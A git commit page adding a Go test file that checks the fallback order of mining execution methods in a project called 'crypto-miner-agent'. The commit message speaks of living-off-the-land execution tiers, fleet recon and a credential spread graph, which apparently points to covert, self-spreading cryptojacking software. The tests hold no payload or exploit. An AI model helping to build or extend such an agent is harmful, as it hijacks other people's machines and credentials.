Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
93
agent/client/mining_chain_test.go
Normal file
93
agent/client/mining_chain_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionInProcess,
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
})
|
||||
for _, m := range order {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("inprocess mode must not include container, got %v", order)
|
||||
}
|
||||
}
|
||||
if len(order) == 0 || order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("want inprocess first, got %v", order)
|
||||
}
|
||||
stratumIdx := -1
|
||||
for i, m := range order {
|
||||
if m == miner.MethodStratumDirect {
|
||||
stratumIdx = i
|
||||
}
|
||||
}
|
||||
if stratumIdx < 0 {
|
||||
t.Fatalf("want stratum_direct when pool configured, got %v", order)
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
for i, m := range order {
|
||||
if m == miner.MethodStratumDirect && i < len(order)-1 {
|
||||
// Windows appends LOTL probe/execution tiers after stratum.
|
||||
return
|
||||
}
|
||||
}
|
||||
} else if order[len(order)-1] != miner.MethodStratumDirect {
|
||||
t.Fatalf("want stratum last when pool configured, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestChainOrderForConfigAutoWithDocker(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "p",
|
||||
},
|
||||
})
|
||||
wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect}
|
||||
if len(order) < len(wantPrefix) {
|
||||
t.Fatalf("order=%v want prefix %v", order, wantPrefix)
|
||||
}
|
||||
for i := range wantPrefix {
|
||||
if order[i] != wantPrefix[i] {
|
||||
t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
|
||||
order := chainOrderForConfig(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionContainer,
|
||||
PoolHost: "p",
|
||||
},
|
||||
})
|
||||
for _, m := range order {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("no runtime — container must be omitted, got %v", order)
|
||||
}
|
||||
}
|
||||
if order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("want inprocess first without runtime, got %v", order)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user